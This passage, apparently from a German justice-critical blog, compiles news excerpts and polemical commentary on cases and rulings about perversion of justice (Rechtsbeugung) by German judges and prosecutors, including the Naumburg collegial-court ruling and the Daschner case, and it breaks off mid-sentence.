Lesenswert finde ich den Widerspruch von Professor Hans-Jochim Selenz gegen die Entscheidungen der Staatsanwaltschaft Braunschweig und der Generalstaatsanwaltschaft Braunschweig, die sich allesamt weigern, dafür zu sorgen, dass gegen den Genossen Bundesumweltminister Sigmar Gabriel wegen seiner unrichtigen Angaben in einer eidesstattlichen Versicherung ein Ermittlungsverfahren eröffnet wird. Lesenswert finde ich den Widerspruch vor allem deshalb, weil Hans-Joachim Selenz dort detailliert nachweist, wie Rechtsbeugung in Deutschland im Jahr 2006 von statten geht. Trotzdem kann ich mir nicht vorstellen, dass der Autor des Schwarzbuches VW Hans-Joachim Selenz mit seinem Widerspruch juristisch Erfolg hat. Der Widerspruch ist zwar gut begründet, aber bevor hier in Deutschland gegen einen Staatsanwalt, der durch sein Verhalten mögliche Straftaten eines amtierenden Bundesministers deckt, ein Ermittlungsverfahren wegen Rechtsbeugung und Strafvereitelung im Amt eröffnet wird, muss es wohl erst ein politisches Erdbeben an den Wahlurnen geben.

Richter vom Vorwurf der Rechtsbeugung wgegen Schuldunfähigkeit freigesprochen:
Das Landgericht Dessau-Roßlau hat am Mittwoch einen 47-jährigen Richter vom Vorwurf der Rechtsbeugung und Strafvereitelung freigesprochen.
Zur Begründung hieß es, der Mann sei zum Tatzeitpunkt möglicherweise schuldunfähig gewesen. Ein Gutachter habe dies nicht ausschließen können. Mit dem Urteil folgt das Gericht den Anträgen von Staatsanwaltschaft und Verteidigung.
Bereits im Dezember 2004 hatte die Staatsanwaltschaft Halle Anklage gegen den Richter erhoben. Damals sah das Landgericht Halle jedoch keinen hinreichenden Tatverdacht und wies die Klage ab. Der Prozess wurde vor dem Landgericht in Dessau-Roßlau eröffnet, nachdem sich die Staatsanwaltschaft Halle beschwert hatte.

Bei Spruchkörpern, die aus mehr als einem Richter bestehen ist grundsätzlich niemals Rechtsbeugung möglich, Kollegialrichter können straflos Recht beugen, 28.04.2009
Zulassung der Anklage wegen Rechtsbeugung gegen die Richter eines Familiensenats am Oberlandesgericht Naumburg endgültig abgelehnt.
Der Nachweis einer Rechtsbeugung könne im vorliegenden Fall jedenfalls aus tatsächlichen Gründen nicht erbracht werden. Die Verurteilung eines Richters wegen Rechtsbeugung aufgrund der Entscheidung eines Kollegialgerichts setze die Feststellung voraus, dass er für die von ihm als Unrecht erkannte, das Recht beugende Entscheidung gestimmt habe. Nach § 196 Abs.1 GVG entscheide das Gericht mit der absoluten Mehrheit der Stimmen. Ein überstimmter Richter mache sich durch seine Mitwirkung am weiteren Verfahren weder als Mittäter noch als Gehilfe strafbar. Für eine Verurteilung wegen Rechtsbeugung sei daher für jedes einzelne Mitglied eines Spruchkörpers der Nachweis erforderlich, dass es für die Entscheidung gestimmt habe. Dieser Nachweis lasse sich mit den in Betracht kommenden Beweismitteln in der Hauptverhandlung nicht führen. Die Angeschuldigten hätten sich hierzu nicht geäußert. Auch aus sonstigen Indizien und Umständen lasse sich nicht auf eine Täterschaft aller oder einzelner Angeschuldigter schließen. Angesichts dessen sei die Eröffnung eines Hauptverfahrens abzulehnen. Gegen die Entscheidung des 1. Strafsenats ist kein Rechtsmittel mehr gegeben.
Die Abstimmung der Richter erfolgt geheim und unterliegt der richterlichen Schweigepflicht und somit kann niemand wissen wer der drei Richter für oder gegen eine Entscheidung gestimmt hat. Wenn jeder Richter behauptet, dass er anders gestimmt habe, dann ist niemals eine Strafbarkeit wegen Rechtsbeugung gegeben auch wenn das Ergebnis eindeutig eine Rechtsbeugung darstellt. Dass also 3 Richter über ein Verfahren abstimmen dient letztlich in der Praxis nicht dem Bürgerschutz, sondern dem Richterschutz um sich jedwede Rechtsbeugung erlauben zu können.
betrift justiz, Christoph Strecker (Stuttgart) …Dieses „Rechtsbeugungsprivileg“ nannte jetzt ein ehemaliger Richter einen Skandal.
Diese „strukturelle Straflosigkeit“ eines Kollegialgerichts nennt Strecker in seinem Aufsatz eine „Katastrophe für den Rechtsstaat“. Denn nur Einzelrichter müssten nach der Logik der OLG-Entscheidung für Rechtsbeugung einstehen, da bei ihnen die Verantwortlichkeit feststehe.
Strecker führt aus, dass auch überstimmte Mitglieder eines Spruchkörpers für das von ihnen unterschriebene Urteil verantwortlich sind. Außerdem stellt er in Frage, dass das Beratungsgeheimnis auch das Abstimmungsergebnis umfasst. Für die Zukunft fordert der Jurist, dass überstimmte Richter ihren Widerspruch dokumentieren können.

Top-Jurist als Verkehrssünder, Knöllchen-Richter griff in Trickkiste, Düsseldorfer Express, 26.03.2010
Ein Autofahrer (54) freute sich riesig, als ihn der Richter des OLG Düsseldorf als Abstandssünder freisprach. Werner W. war auf der Autobahn fotografiert worden und dies sei – so der Richter – verfassungswidrig.
Richter Leo S. (61, Name geändert) allerdings freute sich auch, denn der Freispruch war auch für ihn sehr günstig: Er wird selbst von der Staatsanwaltschaft Krefeld als Abstandssünder verfolgt. Damit auch er freigesprochen wird, soll er sein eigenes Urteil mit geschwärzter Unterschrift an einen Kempener Richter geschickt haben, der seinen Einspruch bearbeitet. Der Top-Richter soll am 1. Juli 2009 auf der Autobahn bei Willich zu nah aufgefahren sein, bekam einen Bußgeldbescheid über 60 Euro und zwei Punkte für die Verkehrssünderkartei.
Der bislang verschwiegene Befangenheits- und Beeinflussungs-Verdacht erregt jetzt die Justiz zwischen Kempen und Düsseldorf. Bis in die höchsten Posten wird über den Richter und den Fall getuschelt.
Der Düsseldorfer Strafjurist Udo Vetter: „Der Richter hätte sich nach Paragraph 30 der Strafprozessordnung zwingend für befangen erklären und den Fall abgeben müssen. In der Sache mag der Freispruch ja richtig sein, aber ihn für sich selbst zu verwenden ist höchst dubios und könnte ein Dienstvergehen darstellen.“
Senatsrichter Leo S. ist schon als Verkehrssünder hinreichend bekannt, hat schon etliche Punkte in Flensburg. Vor dem Amtsgericht Düsseldorf wird in Kürze gegen ihn auch als Temposünder verhandelt.
Gerichtssprecher Stefan Coners: „Er wurde am 5. Oktober 2009 auf der Brüsseler Straße geblitzt, soll 200 Euro Geldstrafe zahlen. Dagegen hat er Einspruch eingelegt.“ Vermutlich nicht ohne Grund: Ab 14 Punkte muss er zur Nachschulung, ab 18 Punkten ist sein Führerschein weg.

Richter und Staatsanwalt am LG Potsdam wegen Rechtsbeugung am AG Eisenhüttenstadt verurteilt, 19.06.2009
Zwei hochrangige Brandenburger Juristen sind vom Landgericht Potsdam wegen Rechtsbeugung und schwerer Freiheitsberaubung verurteilt worden. Ein Richter erhielt zwei Jahre, ein Oberstaatsanwalt ein Jahr und acht Monate Freiheitsstrafe auf Bewährung. Der Fall gilt als einmalig in der Justizgeschichte Brandenburgs.
Wegen Rechtsbeugung und schwerer Freiheitsberaubung sind zwei hochrangige Brandenburger Juristen zu Bewährungsstrafen verurteilt worden. Sie hatten nach Überzeugung des Gerichts im April 2005 während einer Verhandlung am Amtsgericht Eisenhüttenstadt widerrechtlich drei Haftbefehle beantragt und erlassen. Ein Richter erhielt dafür…

Korrupte Richter aus Magdeburg und Mannheim in Insolvenzverfahren
Gleich zwei deutschen Richtern droht jetzt wegen Korruptionsverdachts bei Insolvenzverfahren der Rauswurf aus dem Dienst. In Magdeburg wurde der Insolvenzrichter Sven R. bereits vorläufig seines Dienstes enthoben, für seinen Mannheimer Kollegen Jesko F. die Suspendierung beantragt. Beide Richter sollen in Insolvenzverfahren bestimmte Verwalter und Verwerter bevorzugt und sich im Gegenzug privat aus Konkursmassen bedient haben… ‚Wo viel Geld fließt, wird auch geschmiert‘, kritisiert der Vorsitzende des Deutschen Richterbundes in Nordrhein-Westfalen, Johannes Nüsse.“
DER SPIEGEL 15 / 2001 / 19

Schwere Nötigung: Schuldig, aber keine Strafe für Polizeipräsidenten, 22.12.2004
Gegen die Staatsanwaltschaft im Fall Daschner haben Bürgerrechtler wegen des milden Urteils bereits einen Strafantrag wegen versuchter Anstiftung zur Rechtsbeugung gestellt, ein Strafantrag gegen die Mitglieder des Gerichts wegen Rechtsbeugung soll folgen
Im Prozess gegen den ehemaligen Polizeivizepräsidenten Wolfgang Daschner und gegen Kriminalhauptkommissar Ortwin Ennigkeit hat das Gericht sich für einen Schuldspruch, aber ohne Verurteilung entschieden ([local] Folter bleibt in Deutschland ohne Strafe). Beide erhielten mit der Verwarnung (Geldstrafe) mit Strafvorbehalt das mildeste Urteil, das im Strafrecht möglich ist, obgleich die Gesetzeslage, wie Bärbel Stock, die Vorsitzende der 27. Großen Strafkammer in der Urteilsbegründung sagte, eindeutig ist. Als erwiesen wurde vom Gericht angesehen, dass Daschner einem Untergebenen schwere Nötigung befohlen hat. Das Gericht sprach nicht von Folter oder Aussageerperessung, aber Androhung von körperlicher Gewalt lässt sich als Folter verstehen und ist nach internationalem und deutschem Recht verboten.
Detlev Beutner (Eppstein) und Jörg Eichler (Dresden), Initiatoren des Netzwerks gegen Folter („stop torture“), erklärten, nachdem die Staatsanwaltschaft bis zur Anklageerhebung bereits weit über ein Jahr gebraucht hatte und dabei auch das mögliche Delikt der Aussageerpressung gleich hat unter den Tisch fallen lassen, sei der Antrag der Staatsanwaltschaft nunmehr dermaßen weit vom Gesetz entfernt, dass dies nicht mehr nur mit entsprechenden Kommentaren versehen werden könne.
Staatsanwalt Wilhelm Möllers hatte am 09. Dezember in seinem Plädoyer zunächst die absolute Stellung des Folterverbots im nationalen wie internationalen Recht betont. Die ZuschauerInnen waren gegen Ende der Ausführungen Möllers mehr als überrascht, als dieser plötzlich in den letzten Minuten eine Kehrtwendung vollzog, in der er angeblich entlastende Momente für die Angeklagten vortrug – zumal diese zum Teil frei erfunden waren. So hatte Daschner, soweit er sich überhaupt geäußert hatte, durchgehend betont, dass sein Handeln sowohl legal als auch legitim gewesen sei. Jüngst erklärte er: „Es bleibt abzuwarten, ob die Richter den Mut zu einem gerechten Urteil haben, oder ob Justitia dem Populismus geopfert wird.“ (Neuss-Grevenbroicher Zeitung v. 17.12.2004). Möllers betonte demgegenüber, er glaube, dass Daschner sein Vorgehen heute bereue, auch wenn er das nicht gesagt habe…

Rechtsbeugung eine unheilbare Justizkrankheit?
§ 339 StGB lautet: Ein Richter, ein anderer Amtsträger oder ein Schiedsrichter, welcher sich bei der Leitung oder Entscheidung einer Rechtssache zugunsten oder zum Nachteil einer Partei einer Beugung des Rechts schuldig macht, wird mit Freiheitsstrafe von einem Jahr bis zu fünf Jahren bestraft.
Jeder lebensnahe, aber artig gesetzestreuer und fromm wahrheitsgläubiger Bürger könnte nun dem Irrtum verfallen, die Gefängnisse wären angefüllt mit Richtern und sonstigen Amtsträgern. Stimmt aber nicht, sie sind alle noch draußen.
Die Justiz hat nämlich vorsorglich einen Selbstschutz für richterliches Fehlverhalten geschaffen. Nicht etwa die objektive Wahrheit oder eine unabhängige Institution entscheiden darüber, wann der Tatbestand und die Strafverfolgung einer Rechtsbeugung gegeben sind. Diese Bewertung behält sich die Justiz krampfartig selbst vor. Also, weil sie selbst die Tatbestände interpretiert, bleiben zwangsläufig Richter immer vom Vorwurf der Rechtsbeugung frei. So einfach läuft das in Deutschland. „…Verurteilungen von Richtern wegen Rechtsbeugung müssen Sie mit der Lupe suchen…“ (Bossi,R., 2005).
Dennoch, Rechtsbeugungen in Verwaltung und Justiz sind in Deutschland eine progressiv epidemische Staatskrankheit, die sich bereits nicht selten als organisierte Schikane oder Terror gegenüber dem Volke zeigt.
So sehr chaotisch und teils barbarisch die deutsche Justiz mit den Bürgern rechtsbeugend umspringen möge, so wenig ermüden die rechtskritischen Bürger, dieses üble allgegenwärtige Phänomen zu bekämpfen; es ist heilbar. Der Straftatbestand der Rechtebeugung „…muß wieder zu einem Instrument des deutschen Rechtsstaates werden…“ (Bossi,R., 2005).

Heimliches auskungeln von Strafurteilen, BGH-Richter warnt vor Rechtsbeugung, 28.04.2010
Verteidiger, Staatsanwälte und Gerichte handeln manche Strafurteile heimlich untereinander aus. Ein Strafrichter des Bundesgerichtshofs warnt jetzt: Wenn Anwälte und Richter dabei die neuen Vorgaben der Strafprozessordnung umgehen, machen sie sich selbst der Rechtsbeugung und der Beihilfe dazu schuldig.
Die neuen Beschränkungen für Absprachen in Strafprozessen werden offenbar systematisch umgangen. Thomas Fischer, Strafrichter am Bundesgerichtshof (BGH), warnte auf dem Frühjahrssymposion des Deutschen Anwaltvereins „nachdrücklich vor solcherlei Praktiken“. Der Bundesgerichtshof könne es keinesfalls hinnehmen, wenn die Vorschriften informell unterlaufen würden, sagte Fischer auf der Veranstaltung in Karlsruhe. Allen Beteiligten – Richtern am Landgericht wie Strafverteidigern – drohe in solchen Fällen selbst ein Strafverfahren wegen Rechtsbeugung.

Das Rechtsbeugungsprivileg, Ein Skandal der Straflosigkeit, betrifft Justiz Nr. 96, 12.2008
In seiner Dreigroschenoper beschreibt Bertolt Brecht das böse Treiben eines Gangsters. Die schräge „Moritat von Mackie Messer“ beginnt mit den Worten „Und der Haifisch, der hat Zähne …“ und endet mit dem Vers „Und er kann sich nicht erinnern. Und man kann nicht an ihn ran. Denn ein Haifisch ist kein Haifisch. Wenn man’s nicht beweisen kann.“
…Wenn die Mitglieder von Spruchkörpern sich mit dem Hinweis auf das Beratungsgeheimnis und auf ihr Schweigerecht als Beschuldigte immer erfolgreich gegen den Vorwurf der Rechtsbeugung verteidigen können, da